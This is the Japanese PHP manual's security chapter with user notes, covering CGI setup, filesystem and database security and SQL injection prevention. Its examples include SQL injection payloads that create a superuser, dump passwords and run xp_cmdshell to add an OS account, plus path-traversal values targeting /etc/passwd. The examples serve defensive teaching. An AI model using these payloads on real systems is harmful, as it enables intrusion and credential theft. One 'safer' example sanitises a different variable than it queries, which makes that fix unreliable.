設定ディレクティブ cgi.force_redirect は、 http://my.host/cgi-bin/php/secretdir/script.php のように URL から直接 PHP を呼び出すことを禁止します。 代わりに、 Web サーバーのリダイレクションにより処理された場合は、 PHP はこのモードでのみ処理を行います。

通常、Apache 用設定でのリダイレクションは、 次の命令を使用して行います。

Action php-script /cgi-bin/php
AddHandler php-script .php

このオプションは、Apache Web サーバーでのみテストされており、リク エストのリダイレクト時に Apache が標準ではないCGI 環境変数 REDIRECT_STATUS をセットすることを前提にしています。 リクエストが直接のものであるか間接のものであるかを示す手段をWeb サーバーが全くサポートしていない場合は、このオプションを使用する ことはできません。この場合、ここで記した CGI 版を実行する他の方法 の内の一つを使用する必要があります。

User Contributed Notes

celtic at sairyx dot org 14-Dec-2006 05:24
Note that force-redirect doesn't work with IIS at all; it'll tell you to go away, as IIS doesn't supply the right variables to PHP.

php.ini tells you to turn it off, so make sure you do.


ケース 3: doc_root または user_dir を設定

Web サーバー上のドキュメントディレクトリに スクリプトや実行ファイルのようなアクティブな内容を読み込むのは、 往々にして危険な行為であるとみなされることがあります。 何らかの設定ミスによりスクリプトが実行されず、通常の HTML ドキュメント として表示されてしまう場合には、知的著作物またはパスワードのような セキュリティ情報が漏洩する可能性があります。 このため、多くのシステム管理者は、スクリプトを PHP CGI を通じてのみ アクセス可能な他のディレクトリ構造にセットアップしたいと思うこと でしょう。 この場合、常にインタープリタに処理されるため、上記のように表示されること はありません。

前節で記したようなリクエストがリダイレクトされたものでないことを 確かめる方法が利用可能でない場合、 スクリプト用の doc_root を Web ドキュメント用ルートとは別に セットアップする必要があります。

設定用命令 doc_root により 設定ファイル ファイル中で PHP スクリプト用ドキュメントルートを設定することができます。 または、環境変数 PHP_DOCUMENT_ROOT でも設定する ことができます。 これを設定した場合、CGI 版の PHP は、 常に開くファイルの名前をこの doc_root リクエストのパス情報を用いて作成し、 (以下の user_dir を除き、)確実に このディレクトリの外側でスクリプトが実行されないようにします。

ここで利用可能な別のオプションは、user_dir です。user_dir が設定されていない場合、 開かれるファイル名を制御するのは、doc_root のみです。 http://my.host/~user/doc.php のような URL は、ユーザーホームディレクトリ以下のファイルを開かず、 doc_root 以下の ~user/doc.php というファイルを開くことになります。 (ディレクトリ名がチルダ [~] で始まっている ということになります)

user_dir が例えば、public_phpに 設定されていた場合、 http://my.host/~user/doc.php の ようなリクエストは、そのユーザー user のホームディレクトリにある public_php 以下の doc.php という名前のファイルをオープンしま す。ユーザーのホームディレクトリが、 /home/user である場合、 実行されるファイルは、 /home/user/public_php/doc.php となります。

user_dir の展開は、 doc_root の設定によらず行われます。 このため、ドキュメントルートおよびユーザーディレクトリへの アクセスを別々に制御することができます。

User Contributed Notes

There are no user contributed notes for this page.


ケース 4: Webツリーの外にPHPパーサを置く

非常に安全性の高いオプションとしてPHP パーサのバイナリをファイル 用 Web ツリーの外側、例えば /usr/local/binに置くことが考えられます。こ のオプションの唯一の欠点は、PHP タグを有する全てのファイルの先頭 行に次のような一行を加える必要があることです。

#!/usr/local/bin/php
また、ファイルを実行可能にしておく必要があります。この場合、実行 時にシェルエスケープ機能 #! を使用する Perl や sh や他のスクリプト言語で書かれた CGI スクリプトを処理するのと全 く同様に処理を行います。

この設定で PATH_INFO および PATH_TRANSLATED 情報を正しく処理するためには、 PHP パーサを設定オプション --enable-discard-path を付けてコンパイルする必要があります。

User Contributed Notes

There are no user contributed notes for this page.


Apache モジュールとしてインストール

PHP が Apache モジュールとして使用された場合、PHP は、Apache ユー ザーの許可属性(通常はユーザー "nobody" の許可属性)を継承します。 これは、セキュリティと認証に数々の影響を与えます。例えば、データベー スと接続するためにPHPを使用している場合、データベースが組込みのア クセス制御機能を有していない限り、そのデータベースを "nobody"ユー ザからアクセス可能とする必要が生じます。これは、悪意のあるスクリプ トが、ユーザー名とパスワードなしにデータベースにアクセスし、修正する ことができることを意味します。Webスパイダがデータベース管理用Webペー ジを回って、データベースを全て削除することも可能です。Apache認証に よりこの攻撃に対して防衛することが可能であり、また、LDAPや .htaccessファイル等を使用して固有のアクセスモデルを設計し、PHPスク リプトの一部としてそのコードを読み込むことも可能です。

しばしば、PHPユーザー(この場合はApacheユーザー)が非常に小さなリスクを 有する場所に一度セキュリティが確立されると、PHPはユーザーディレクト リにウイルスファイルを書き込んだりすることができなくなります。もし くは、データベースにアクセスしたり変更したりといったことが出来なく なります。この場合、良いファイルおよび悪いファイルの書き込み、また は、良いデータベーストランザクションと悪いデータベーストランザクシ ョンに関して等しく安全性が確保されていると言えます。

この観点からしばしば行われるセキュリティ上の失敗としてApacheにルー ト権限を与えたり、他の何らかの手段でApacheの権限を昇格させるという ものがあります。

Apacheユーザーの権限をルートに昇格させることは非常に危険であり、シ ステム全体を危険にさらす可能性があります。よって、sudoやchrootの実 行、ルート権限で実行を行う他の手段は、セキュリティに精通した人以外 は、考慮するべきではありません。

いくつかのより簡単な解決策があります。open_basedir を使用することによ り、PHPに使用を許可するディレクトリを制御したり制限したりすること が可能です。また、全てのWebベースの作業をユーザーファイル、システム ファイル以外のファイルに制限するために、Apache専用エリアを設定する ことも可能です。

User Contributed Notes

bk 2 at me dot com 24-Feb-2012 05:17
doc_root already limits apache/php script folder locations.

open_basedir is better used to restrict script access to folders
which do NOT contain scripts. Can be a sub-folder of doc_root as in php doc example doc_root/tmp, but better yet in a separate folder tree, like ~user/open_basedir_root/. Harmful scripts could modify other scripts if doc_root (or include_path) and open_basedir overlap.
If apache/php can't browse scripts in open_basedir, even if malicious scripts uploaded more bad scripts there, they won't be browse-able (executable).

One should also note that the many shell execute functions are effectively a way to bypass open_basedir limits, and such functions should be disabled if security demands strict folder access control. Harmful scripts can do the unix/windows version of "delete */*/*/*" if allowed to execute native os shell commands via those functions. OS Shell commands could similarly bypass redirect restrictions and upload file restrictions by just brute force copying files into the doc_root tree. It would be nice if they could be disabled as a group or class of functions, but it is still possible to disable them one by one if needed for security.

PS. currently there is a bug whereby the documented setting of open_basedir to docroot/tmp will not work if any include or require statements are done. Right now include will fail if the included php file is not in BOTH the open_basedir tree and the doc_root+include_path trees. Which is the opposite of safe.
This means by any included php file must be in open_basedir, so is vulnerable to harmful scripts and php viruses like Injektor.
Vikanich 14-Aug-2008 04:41
Big thanks to "daniel dot eckl at gmx dot de" but i have to change his config, because it doesn't work (may be wrong syntax).
I have add only this string to VirtualHost config and it works.
php_admin_value open_basedir  /www/site1/
Now all php scripts are locked in the directory.
Kibab 30-Sep-2005 06:56
I'm running Windows version of Apache with php as module. System is Windows XP Service Pack 2 on NTFS filesystem. To avoid potential security problems, I've set Apache to run under NT AUTHORITY\Network Service account, and there is only one directory, named Content, with Full Access for this account. Other directories are either not accessible at all or with readonly permissions (like %systemroot%)... So, even if Apache will be broken, nothing would happen to entire system, because that account doesn't have admin privilegies :)
daniel dot eckl at gmx dot de 08-Aug-2002 04:16
There is a better solution than starting every virtual host in a seperate instance, which is wasting ressources.

You can set open_basedir dynamically for every virtual host you have, so every PHP script on a virtual host is jailed to its document root.

Example:
<VirtualHost www.example.com>
  ServerName www.example.com
  DocumentRoot /www-home/example.com
[...]
  <Location />
    php_admin_value open_basedir     \ "/www-home/example.com/:/usr/lib/php/"
  </Location>
</VirtualHost>

If you set safe_mode on, then the script can only use binaries in given directories (make a special dir only with the binaries your customers may use).

Now no user of a virtual host can read/write/modify the data of another user on your machine.

Windseeker


セッションのセキュリティ

HTTPセッション管理を安全にし続けることは重要です。 セッション関連のセキュリティについては セッションのセキュリティ セクション （セッションモジュール リファレンス内） で説明しています。

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステムのセキュリティ

目次

  • Null バイト関連の問題

PHP は、ファイルおよびディレクトリ毎に権限を設定する多くのサーバーシ ステム上に組み込まれたセキュリティを提供します。これにより、ファイ ルシステム内のファイルを読み込み可能に制御することが可能になります。 全てのファイルは世界中から読み込み可能であり、このファイルシステム にアクセスした全てのユーザーから読み込まれても安全であることを確認す る必要があります。

PHPは、ファイルシステムにユーザーレベルのアクセスを許可するように設 計されているため、PHPスクリプトから/etc/password のようなシステム ファイルを読み込み可能としたり、イーサネット接続を修正したり、巨大 なプリンタジョブを出力したりすることができます。これから明らかにわ かることですが、読み書きするファイルを適切に設定する必要があります。

各自のホームディレクトリにあるファイルを削除する次のスクリプトを見 てみましょう。これは、ファイル管理用にWebインターフェイスを使用す る場合に通常生じるような設定を仮定しています。この場合、Apacheユー ザはそのユーザーのホームディレクトリにあるファイルを削除可能です。

例1 甘い変数の確認から生じるリスク

<?php
// ユーザーのホームディレクトリからファイルを削除する
$username = $_POST['user_submitted_name'];
$userfile = $_POST['user_submitted_filename'];
$homedir  = "/home/$username";

unlink("$homedir/$userfile");

echo "ファイルは削除されました!";
?>
username および filename はユーザーフォームから投稿可能であるため、別の username および filename を投稿して 削除すべきではない削除することが可能となります。この場合、 他の何らかの形式の認証を使用するべきです。投稿された変数が、 "../etc/" と "passwd " であった場合について考えてみましょう。簡単 なコードを以下に示します。

例2 ... ファイルシステムへの攻撃

<?php
// 外部からPHPユーザーがアクセス可能なハードドライブを削除します。PHPが
// ルートのアクセス権限を有している場合、
$username = $_POST['user_submitted_name']; // "../etc"
$userfile = $_POST['user_submitted_filename']; // "passwd"
$homedir  = "/home/$username"; // "/home/../etc"

unlink("$homedir/$userfile"); // "/home/../etc/passwd"

echo "ファイルは削除されました!";
?>
こうした問題を防止するために必要な重要なチェック手段として以下の2 種類のものがあります。
  • PHP Webユーザーバイナリに制限された権限のみを許可する。
  • 投稿された全ての変数を確認する。
以下に改良されたスクリプトを示します。

例3 より安全なファイル名の確認

<?php
// PHPユーザーがアクセス可能なハードドライブからファイルを削除する。
$username = $_SERVER['REMOTE_USER']; // 認証機構を使用する
$userfile = basename($_POST['user_submitted_filename']);
$homedir  = "/home/$username";

$filepath = "$homedir/$userfile";

if (file_exists($filepath) && unlink($filepath)) {
    $logstring = "$filepath を削除しました\n";
} else {
    $logstring = "$filepath の削除に失敗しました\n";
}
$fp = fopen("/home/logging/filedelete.log", "a");
fwrite($fp, $logstring);
fclose($fp);

echo htmlentities($logstring, ENT_QUOTES);

?>
しかし、これでも、傷口を塞いだことにはなりません。 ユーザーが自分用のユーザーログインを作成することをあなたの認証システムが 許可しており、ユーザーが"../etc/"へのログインを選択した場合、システム はまたも公開されてしまいます。このため、よりカスタマイズされたチェッ クを行なう方がよいでしょう。

例4 より安全なファイル名の確認

<?php
$username     = $_SERVER['REMOTE_USER']; // 認証機構を使用する
$userfile     = $_POST['user_submitted_filename'];
$homedir      = "/home/$username";

$filepath     = "$homedir/$userfile";

if (!ctype_alnum($username) || !preg_match('/^(?:[a-z0-9_-]|\.(?!\.))+$/iD', $userfile)) {
    die("Bad username/filename");
}

//etc...
?>

オペレーティングシステムにより、注意するべきファイルは大きく変化し ます。これらには、デバイスエントリ(/dev/ または COM1)、設定ファイ ル(/etc/ ファイルおよび .ini ファイル)、よく知られたファイル保存領 域 (/home/、 My Documents)等が含まれます。このため、明示的に許可す るもの以外の全てを禁止する方針とする方が通常はより簡単です。

User Contributed Notes

Latchezar Tzvetkoff 10-Mar-2009 03:06
A basic filename/directory/symlink checking may be done (and I personally do) via realpath() ...

<?php

if (isset($_GET['file'])) {
    $base = '/home/polizei/public_html/';  // it seems this one is good to be realpath too.. meaning not a symlinked path..
    if (strpos($file = realpath($base.$_GET['file']), $base) === 0 && is_file($file)) {
        unlink($file);
    } else {
        die('blah!');
    }
}
?>
anonymous 17-Nov-2005 02:58
(A) Better not to create files or folders with user-supplied names. If you do not validate enough, you can have trouble. Instead create files and folders with randomly generated names like fg3754jk3h and store the username and this file or folder name in a table named, say, user_objects. This will ensure that whatever the user may type, the command going to the shell will contain values from a specific set only and no mischief can be done.

(B) The same applies to commands executed based on an operation that the user chooses. Better not to allow any part of the user's input to go to the command that you will execute. Instead, keep a fixed set of commands and based on what the user has input, and run those only.

For example,
(A) Keep a table named, say, user_objects with values like:
username|chosen_name   |actual_name|file_or_dir
--------|--------------|-----------|-----------
jdoe    |trekphotos    |m5fg767h67 |D
jdoe    |notes.txt     |nm4b6jh756 |F
tim1997 |_imp_ folder  |45jkh64j56 |D

and always use the actual_name in the filesystem operations rather than the user supplied names.

(B)
<?php
$op = $_POST['op'];//after a lot of validations
$dir = $_POST['dirname'];//after a lot of validations or maybe you can use technique (A)
switch($op){
    case "cd":
        chdir($dir);
        break;
    case "rd":
        rmdir($dir);
        break;
    .....
    default:
        mail("webmaster@example.com", "Mischief", $_SERVER['REMOTE_ADDR']." is probably attempting an attack.");
}
fmrose at ncsu dot edu 09-Oct-2005 04:31
All of the fixes here assume that it is necessary to allow the user to enter system sensitive information to begin with. The proper way to handle this would be to provide something like a numbered list of files to perform an unlink action on and then the chooses the matching number. There is no way for the user to specify a clever attack circumventing whatever pattern matching filename exclusion syntax that you may have.

Anytime you have a security issue, the proper behaviour is to deny all then allow specific instances, not allow all and restrict. For the simple reason that you may not think of every possible restriction.
1 at 234 dot cx 23-Jun-2005 05:24
I don't think the filename validation solution from Jones at partykel is complete.  It certainly helps, but it doesn't address the case where the user is able to create a symlink pointing from his home directory to the root.  He might then ask to unlink "foo/etc/passwd" which would be in his home directory, except that foo is a symlink pointing to /.

Personally I wouldn't feel confident that any solution to this problem would keep my system secure.  Running PHP as root (or some equivalent which can unlink files in all users' home directories) is asking for trouble.

If you have a multi-user system and you are afraid that users may install scripts like this, try security-enhanced Linux.  It won't give total protection, but it at least makes sure that an insecure user script can only affect files which the web server is meant to have access to.  Whatever script someone installs, outsiders are not going to be able to read your password file---or remove it.
cronos586(AT)caramail(DOT)com 05-Jan-2002 03:48
when using Apache you might consider a apache_lookup_uri on the path, to discover the real path, regardless of any directory trickery.
then, look at the prefix, and compare with a list of allowed prefixes.
for example, my source.php for my website includes:
if(isset($doc)) {
    $apacheres = apache_lookup_uri($doc);
    $really = realpath($apacheres->filename);
    if(substr($really, 0, strlen($DOCUMENT_ROOT)) == $DOCUMENT_ROOT) {
        if(is_file($really)) {
            show_source($really);
        }
    }
}
hope this helps
regards,
KAT44
devik at cdi dot cz 21-Aug-2001 07:52
Well, the fact that all users run under the same UID is a big problem. Userspace  security hacks (ala safe_mode) should not be substitution for proper kernel level security checks/accounting.
Good news: Apache 2 allows you to assign UIDs for different vhosts.
devik
eLuddite at not dot a dot real dot addressnsky dot ru 11-Nov-2000 09:44
I think the lesson is clear:

(1) Forbit path separators in usernames.
(2) map username to a physical home directory - /home/username is fine
(3) read the home directory
(4) present only results of (3) as an option for deletion.

I have discovered a marvelous method of doing the above in php but this submission box is too small to contain it.

:-)


Null バイト関連の問題

PHP はファイルシステム関連の操作に C 言語の関数を使用しているので、 null バイトの処理を予期せぬかたちで行うことがあります。 C 言語では null バイトは文字列の終端を表すので、 null バイトを含む文字列があった場合に null バイト以降の内容は文字列として処理されません。 以下に、この問題に関する脆弱性を含むコード例を示します。

例1 null バイトに対して脆弱なスクリプト

<?php
$file = $_GET['file']; // ここで "../../etc/passwd\0" が渡されたとします
if (file_exists('/home/wwwrun/'.$file.'.php')) {
    // file_exists は true を返します。これは、ファイル /home/wwwrun/../../etc/passwd が存在するからです
    include '/home/wwwrun/'.$file.'.php';
    // ファイル /etc/passwd がインクルードされてしまいます
}
?>

したがって、ファイルシステム操作で使用する「汚染された」文字列は、 つねに適切に検証しなければなりません。 先ほどの例を改良したものを示します。

例2 入力を適切に検証する例

<?php
$file = $_GET['file'];

// 値として与えられる可能性のある、有効な値の一覧を作成します
switch ($file) {
    case 'main':
    case 'foo':
    case 'bar':
        include '/home/wwwrun/include/'.$file.'.php';
        break;
    default:
        include '/home/wwwrun/include/main.php';
}
?>

User Contributed Notes

cornernote [at] gmail.com 21-Apr-2015 04:26
clean input of null bytes:

<?php
$clean = str_replace(chr(0), '', $input);
?>
Anonymous 09-May-2014 02:51
Looks like this issue was fixed in PHP 5.3 https://bugs.php.net/bug.php?id=39863


データベースのセキュリティ

目次

  • データベースのデザイン
  • データベースへの接続
  • ストレージの暗号化
  • SQLインジェクション

今日、ダイナミックなコンテンツを提供するウェブアプリケーションにおいてはデータベースは欠く事のできなコンポーネントとなっています。 そういったデータベースには重要な、そして秘密にすべき情報が格納されることになるので、それらをいかにして保護するかについて十分に考慮する必要があります。

情報を取り出したり格納するためにはデータベースに接続する必要があります。 そして適切なクエリを送信し、結果を受け取り、切断します。クエリに使用される言語は Structured Query Language (SQL) が一般的です。アタッカーがどのようにSQLに 干渉するかについて参照してください。

皆さんがお気づきの様に、PHPそれ自体は貴方のデータベースを保護することは ありません。以下のセクションはPHPスクリプトからどのようにデータベースに アクセスし操作すればいいのか、ということに関する非常に基本的な導入です。

このシンプルなルールを覚えて置いてください：それは「多重防衛」です。 より多くの箇所で、より多くの保護を行うことにより、アタッカーが攻撃に 成功して機密情報が漏洩する可能性は減っていきます。データベースと アプリケーションを正しくデザインすることで貴方の心配を取り除くことが できます。

User Contributed Notes

Chris Travers 28-Jul-2012 11:45
Regarding where to put logic, it's really best not to be dogmatic about this.  Putting logic in the db can have some security advantages but it has other security gotchas (for example, SQL injection inside a stored procedure may be possible in some environments).  Similarly it can have some portability advantages and disadvantages.

The real question is that you want to ask what you want to be portable.  If you put it in the db, it becomes easier to integrate programs written in different development environments with a minimum of security gotchas.  If you put it in the application, then you have to create the interfaces on that level in middleware.  Both approaches are doable.  On the other hand if you are writing software you want to be deployable in MS SQL shops and Oracle shops, then you have to write portable SQL (avoiding gotchas) and put the logic in the application.

When we started rewriting the LedgerSMB codebase, we decided to move logic into the db because this would make it easier to retrofit security onto a very insecure codebase (by not trusting the application), and because we wanted to support languages other than Perl.  A few years later this is bearing fruit and indeed I am reading the manual because I am writing integration libraries in PHP.  I am not much of a PHP guy (I haven't programmed PHP since PHP 4.x) but I can write modules that let folks write code to interface securely with LedgerSMB's database logic.  You can think of the stored procedures as being named queries which are shared between applications, or as API's to the database.  But again, this approach is not universally applicable.

If portability between db's is not a major requirement, then I think the best approach is to do as much as possible in SQL queries and put those in the database.  A couple hundred lines of SQL can replace a couple thousand lines in Perl or PHP, and is fundamentally easier to debug.  Of course that won't work for everyone.
Dave Martin 16-Aug-2007 12:15
The posting below is at the very best extremely POV.

There is no more reason to assume you would want to change database vendor than there is to assume you might want to port your php code to Java for example. In either case, its going to be a matter of luck where your business rules sit.

Even if your business rules sit in your application, SQL is NOT portable. Oracle outer joins and pivot queries for example, can look completely different to those in other vendors software (particularly from 8i or lower). This fact alone means that changing your DB vendor requires work on your business rules either in the database or in the application.

Having your rules in the database and keeping the sql in application simple, will at least keep the work in the database if you need to change DB vendor. If you have the rules in the PHP, you'll have to change both.
x12code at yahoo dot com 14-Aug-2007 09:48
About offloading business logic to views and queries facilitated by the database engine, I seek to avoid this as much as possible, and only do so when such would drastically improve efficiency and user response time.

For instance, where I am there is database staff and application staff. Trying to do analysis on existent applications can easily become a snipe hunt.

The database should be kept discreet as much as possible from the application, such that any database or database provider can easily be substituted with a minimum of cognitive effort on the part of the one setting up a new database. If functionality has been offloaded to the database, additional testing is required to make sure triggers and views were done correctly, again, and that they work right.

Also, keeping all business logic with the application allows all functionality and documentation to be readable in one place, which is invaluable when doing subsequent analysis on an existing application. The worst thing is to have functionality scattered here and there.

Keeping everything with the application means one group of people is responsible, as in my case, application staff. Fewer requests go back and forth. Remember, anytime someone else is brought into the picture, such as asking a DBA to create a view or trigger for you, that DBA must take responsibility over his or her work, with whatever requirements, causing more bureaucracy and administrative complexity.
30-Jun-2005 03:57
you can also chamge CHMOD for some file containing "user names" or "passwords"


データベースのデザイン

他人が用意した既存のものを使用するのでない限り、最初に行うのはデータベースの作成です。 データベースが作成されると、そのデータベースのオーナーは作成コマンドを 実行したユーザーになります。通常、オーナー(とスーパーユーザー)のみが そのデータベースに対して操作を行うことが出来ます。他のユーザーがデータベースを 使用するには適切な権利が与えられている必要があります。

アプリケーションはデータベースにオーナー、もしくはスーパーユーザーとして接続することは絶対にしてはなりません。 なぜならこれらのユーザーは 例えばスキーマの変更(テーブルの削除等)や全コンテンツの削除、といったあらゆるクエリーを実行することが出来るからです。

貴方が作成するアプリケーションがデータベースに対して行う操作の各方面ごとに、 操作対象となるオブジェクトに対して、出来る限り少ない権限を持った複数の ユーザーを作成した方が良いでしょう。ユーザーに対しては、最低限必要な権限のみを 与え、関係の無いデータへのアクセスを許可しないようにします。これは、 万が一侵入者がそのユーザーの権限を以ってデータベースにアクセスした際に、 アプリケーションと関係の無いデータにまでアクセスされることを防ぐためです。

User Contributed Notes

There are no user contributed notes for this page.


データベースへの接続

更なるセキュリティのために、クライアント/サーバー間の通信においてSSLを用いた 暗号化を行った方が良いでしょう。もしくはsshを使用することも出来ます。 どちらかの手段を講じた後、トラフィックをモニタリングしてみれば ここから何らかの情報を得ることが困難だという事が分かると思います。

User Contributed Notes

There are no user contributed notes for this page.


ストレージの暗号化

SSL/SSHによってクライアント/サーバー間で通信されるデータは保護されますが、 データベースに保存されたデータは保護されません。SSLはあくまで通信上の プロトコルなのです。

一旦アタッカーがデータベースへ(ウェブサーバーを通さずに)アクセスできてしまうと、 そこに格納されているデータ自体が暗号化されていない限り、自由に閲覧され、 使用されてしまいます。データを暗号化することによって、この脅威を減らすことが できますが、この機能をサポートしているデータベースは僅かです。

この問題への最も簡単な対応策は、まず自分専用の暗号化パッケージを作成し、 それをあなたのPHPスクリプトから使用することです。PHPのOpenSSL, Sodium といった幾つかの拡張モジュールは、様々な暗号化アルゴリズムをサポート しているので役に立つでしょう。データ格納時に暗号化を行い、取得時に 復号化します。この方法についてはリファレンスを参照してください。

ハッシュ

もし完全にデータを隠したい場合や、元のデータ自体は必要ない場合(つまり 表示されない場合)は、ハッシュも考慮に入れたほうが良いでしょう。 ハッシュの良く知られた使用方法は、パスワードをそのまま格納せずに、 その暗号学的ハッシュ値を格納する方法です。

PHP は password 関数を提供しており、 機密データをハッシュしたりそのハッシュを扱ったりする便利な仕組みが用意されています。

password_hash() は、その時点で最も強力なアルゴリズムを使って、 与えられた文字列をハッシュします。また password_verify() は、与えられたパスワードのハッシュがデータベース内のハッシュと一致するかどうかを調べます。

例1 ハッシュされたパスワードフィールド

<?php

// ハッシュされたパスワードを格納する
$query  = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');",
            pg_escape_string($username),
            password_hash($password, PASSWORD_DEFAULT));
$result = pg_query($connection, $query);

// パスワードが正しいかどうか問い合わせる
$query = sprintf("SELECT pwd FROM users WHERE name='%s';",
            pg_escape_string($username));
$row = pg_fetch_assoc(pg_query($connection, $query));

if ($row && password_verify($password, $row['pwd'])) {
    echo 'Welcome, ' . htmlspecialchars($username) . '!';
} else {
    echo 'Authentication failed for ' . htmlspecialchars($username) . '.';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


SQLインジェクション

多くの開発者はSQLクエリがどのように改竄されるかということを余り気にかけておらず、またSQLクエリは信用できるものと考えているようです。 実際にはSQLクエリはアクセス制限を回避することが可能で、従って 通常の認証や権限のチェックを無視することができます。 時には、 OSレベルのコマンドを実行できてしまうこともあります。

ダイレクトSQLコマンドインジェクション(SQLコマンドの直接実行)という手法は、攻撃者がSQLコマンドを生成もしくは既存のコマンドを変更することで隠蔽すべきデータを公開したり、重要なデータを書き換えたり、データベースホストで危険なシステムレベルのコマンドを実行したりするものの事です。 この手法は、ユーザーからの入力をスタティックなパラメータと組み合わせて SQLクエリを生成するアプリケーションにおいて使用されます。以下の例は不幸なことに実際の事例に基づいたものです。

入力のチェックを怠っており、スーパーユーザーもしくはデータベース作成権限を持つユーザー以外のユーザーでデータベースに接続していないために、攻撃者はデータベースにスーパーユーザーを作成することが出来ます。

例1 表示するデータを分割し ... そしてスーパーユーザーを作成します。(PostgreSQLの例)

$offset = $argv[0]; // 入力チェックが行われていません！
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);
通常のユーザーは、$offsetがURLに埋め込まれている '次へ'または'前へ'リンクをクリックします。スクリプトは、受け取った $offsetが数字であることを期待します。しかしながら、 攻撃者はurlencode()された以下のようなURLを追加 することで攻撃を試みます。
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';
--
このようなことが行われると、スクリプトは攻撃者にスーパーユーザー権限での アクセスを提供してしまいます。0;が正しいオフセット 指していると同時に、クエリをそこで終端させていることに気をつけてください。

注意:

SQLパーサにクエリの残りの部分を無視させるために開発者によく使わ れる技法として、SQLのコメント記号である--があ ります。

パスワードを取得する恐るべき手段に、サイトの検索結果のページを欺く というものがあります。攻撃する者が必要とするものは、投稿された変数 の中でSQL命令で使用される際に正しく扱われていないものがあるかどう かを確かめるだけです。これらのフィルタは、通常、 SELECT文のWHERE, ORDER BY, LIMIT及びOFFSET句をカスタマイズするた めに前に置かれる形で設定されます。使用するデータベースが UNION構造をサポートしている場合、 攻撃者は元のクエリに任意のテーブルからパスワードのリストを取得する クエリを追加しようとするかもしれません。 暗号化されたパスワードフィールドを使用することが強く推奨されます。

例2 記事...そして(全てのデータベースサーバーの)いくつかのパスワード のリストを表示する

$query  = "SELECT id, name, inserted, size FROM products
           WHERE size = '$size'";
$result = odbc_exec($conn, $query);
クエリの静的な部分は、以下のように全てのパスワードを外部にもらす別の SELECT文と組み合わせることができます。
'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--
('及び--を使用する) このクエリが$queryで使用される変数の１つに代入 された場合、この悪意のあるクエリが実行されることになります。

SQL UPDATE もデータベースを攻撃するために使用されます。これらのク エリも切捨てたり新しいクエリを元のクエリに追加することによる攻撃 を受けます。しかし、攻撃者はSET句を使用する可 能性があります。この場合、クエリを成功させるためにいくつかのスキー マ情報を保有する必要があります。これは、フォームの変数名や総当た り法により調べることができます。パスワードまたはユーザー名を保存す るフィールド用の命名記法はそう多くはありません。

例3 パスワードのリセットから ... (全てのデータベースサーバーで)より多 くの権限を得るまで

$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
しかし、もし悪意のあるユーザーが管理者のパスワードを変更するために 値 ' or uid like'%admin% を $uid に代入するか、または、より多くの権限を得 るために、単純に$pwd に hehehe', trusted=100, admin='yesと設定すると、 このクエリは以下のように改謬されてしまいます。
<?php

// $uid: ' or uid like '%admin%
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%';";

// $pwd: hehehe', trusted=100, admin='yes
$query = "UPDATE usertable SET pwd='hehehe', trusted=100, admin='yes' WHERE
...;";

?>

恐ろしい例として、いくつかのデータベースホストのオペレーティン グシステムレベルのコマンドがアクセス可能となる方法を示します。

例4 データベースホストのオペレーティングシステムを攻撃する (MSSQLサーバー)

$query  = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);
攻撃者が、値 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- を$prodに投稿した場合、 $query は以下のようになります。
$query  = "SELECT * FROM products
           WHERE id LIKE '%a%'
           exec master..xp_cmdshell 'net user test testpass /ADD' --%'";
$result = mssql_query($query);
MSSQLサーバー?は、新規ユーザーをローカルアカウント用データベースに追 加するコマンドを含むSQL命令をバッチ実行します。 このアプリケーションがsaで実行され、 MSSQLSERVERサービスが充分な権限で実行されている場合、攻撃者は このマシンにアクセスする権限を有することになります。

注意:

上記のいくつかの例は、データベースサーバーの種類に依存しています。 これは、他の製品に対して同様な攻撃ができないことを意味するもので はありません。使用しているデータベースが他の手段で攻撃可能である 可能性もあります。

この画像は » xkcd から提供いただいたものです。

回避策

攻撃者がデータベースの構造に関して最低限の知識を持っていないと攻撃は成功しないということは明らかですが、 その手の情報はたいてい、簡単に入手できます。 たとえば、オープンソースやその他一般に公開されているソフトウェアパッケージをデフォルトの設定で使っていれば、 データベースの情報は完全に公開されているので誰でも知ることができます。 クローズドソースのコードであってもこの手の情報は漏れることがあります。 たとえ何らかの難読化処理が行われていたとしても。 さらに、自作のコードだとしても、 画面に表示されるエラーメッセージなどから情報が漏れることがあります。 それ以外にも、ありがちなテーブル名やカラム名などは攻撃の対象となります。 たとえば、ログインフォームで使っているテーブル名が 'users' で、その中に 'id'、'username'、'password' といったカラムがある場合などです。

これらの攻撃は、セキュリティを考慮して書かれていないコードを攻撃 する方法です。特にクライアント側から入力されるあらゆる種類の入力 を決して信用しないでください。これは、selectボックスやhidden input フィールド、Cookieの場合も同様です。最初の例は、このような欠点の ないクエリが破滅をもたらしうることを示すものです。

  • データベースにスーパーユーザーまたはデータベースの所有者として接続しないでください。 非常に制限された権限を有するカスタマイズされたユーザーを常に使用してください。
  • プリペアドステートメントとバインド変数を使いましょう。 PDO や MySQLi で使えるし、その他のライブラリでも提供されている機能です。
  • 指定された入力が期待するデータ型であることを確認してください。 PHPは、多くの種類の入力検証用関数を有しており、 変数関連の関数や 文字型関数にある簡単な関数 (例: それぞれ、is_numeric(), ctype_digit()) や、 Perl互換の正規表現のサポートま であります。

  • アプリケーションが、数値入力を期待している場合、データを
is_numeric()で検証するか、
settype()により暗黙の型変換を行うか、
sprintf()により数値表現を使用することを検討
してみてください。

    例5 ページング用のクエリを構築するためのより安全な方法

    settype($order, 'integer');
    $query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";

    // フォーマット文字列の%dに注意してください。%sを使用しても意味がありません。
    $query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;",
                     $offset);

